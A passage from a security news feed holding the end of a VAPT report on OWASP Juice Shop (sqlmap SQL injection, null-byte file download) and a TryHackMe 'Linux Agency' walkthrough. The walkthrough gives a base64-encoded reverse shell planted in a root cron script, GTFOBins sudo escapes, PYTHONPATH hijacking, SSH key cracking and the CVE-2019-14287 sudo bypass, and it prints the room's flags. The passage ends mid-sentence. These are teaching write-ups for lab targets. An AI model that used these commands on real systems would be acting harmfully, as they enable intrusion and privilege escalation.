OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 